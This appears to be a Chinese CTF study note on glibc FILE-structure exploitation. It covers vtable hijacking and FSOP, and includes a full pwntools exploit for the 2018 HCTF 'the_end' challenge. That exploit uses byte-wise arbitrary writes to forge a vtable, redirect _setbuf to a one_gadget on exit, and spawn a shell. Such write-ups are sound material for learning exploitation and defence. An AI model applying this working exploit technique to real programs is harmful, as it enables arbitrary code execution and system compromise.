IO_FILE利用与劫持vtables控制程序流程、FSOP
FILE结构
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。
我们可以在 libc.so 中找到 stdin\stdout\stderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是
_IO_2_1_stderr_
_IO_2_1_stdout_
_IO_2_1_stdin_
该结构体有一个plus版的包含着,其中有一个成员交虚表
在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8
vtable
void * funcs[] = { 1 NULL, // "extra word" 2 NULL, // DUMMY 3 exit, // finish 4 NULL, // overflow 5 NULL, // underflow 6 NULL, // uflow 7 NULL, // pbackfail 8 NULL, // xsputn #printf 9 NULL, // xsgetn 10 NULL, // seekoff 11 NULL, // seekpos 12 NULL, // setbuf 13 NULL, // sync 14 NULL, // doallocate 15 NULL, // read 16 NULL, // write 17 NULL, // seek 18 pwn, // close 19 NULL, // stat 20 NULL, // showmanyc 21 NULL, // imbue };
2018 HCTF the_end
其功能可以对任意位置进行写5个字节
还直接爆了libc给你
知识点
程序调用 exit
后,会遍历 _IO_list_all
,调用 _IO_2_1_stdout_
下的 vatable
中 _setbuf
函数。
思路
由于我们知道exit执行后,会调用虚表里的_setbuf函数,所以我们可以劫持这个函数为我们的onegadget,我们就可以getshell
- 其次由于我们只有5个字节可以修改,所以首先我们需要构造一个假的vatble
- 由于_setbuf在虚表的0x58偏移处,而这里我们需要修改为one_gadget,所以应该要改8个字节才对,可惜我们最多只能修改5个字节,所以我们可以这样分配5个字节:2个字节分配个虚表的修改,gadget需要3个字节或者反过来
- 当我们分配完字节后,需要自己到内存中取找到满足条件的地址,条件就是fake vtable+0x58这里的地址值需要在libc内,并且与one_gadget的偏移需要在2-3个字节内即可。而fake vtable则必须要vtable周围找才行,所以我们只能修改2-3个字节
这里我引用了下wiki里的代码
from pwn import * context.log_level="debug" libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so") # p = process('the_end') p = remote('127.0.0.1',1234) rem = 0 if rem ==1: p = remote('150.109.44.250',20002) p.recvuntil('Input your token:') p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU') sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1] libc_base = long(sleep_ad,16) - libc.symbols['sleep'] one_gadget = libc_base + 0xf02b0 vtables = libc_base + 0x3C56F8 fake_vtable = libc_base + 0x3c5588 target_addr = libc_base + 0x3c55e0 print 'libc_base: ',hex(libc_base) print 'one_gadget:',hex(one_gadget) print 'exit_addr:',hex(libc_base + libc.symbols['exit']) # gdb.attach(p) for i in range(2): p.send(p64(vtables+i)) p.send(p64(fake_vtable)[i]) for i in range(3): p.send(p64(target_addr+i)) p.send(p64(one_gadget)[i]) p.sendline("exec /bin/sh 1>&0") p.interactive()
参考文章:FILE 结构
FSOP
这个之前有看过一点题目的wp,先说下自己的理解
某些函数在调用的时候,会因为FIle结构体中的read之类的和write之类的指针不一样,而流程不一样,这里之前看了pwnki师傅推荐的博客
所以呢,我们只要能够修改这里面的值,那么我们就可以做到控制程序流程,来getshell
我们再来看看wiki上的解释
int _IO_flush_all_lockp (int do_lock) { ... fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { ... if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) && _IO_OVERFLOW (fp, EOF) == EOF) { result = EOF; } ... } }
_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
1. 当 libc 执行 abort 流程时
2. 当执行 exit 函数时
3. 当执行流从 main 函数返回时
参考资料:FSOP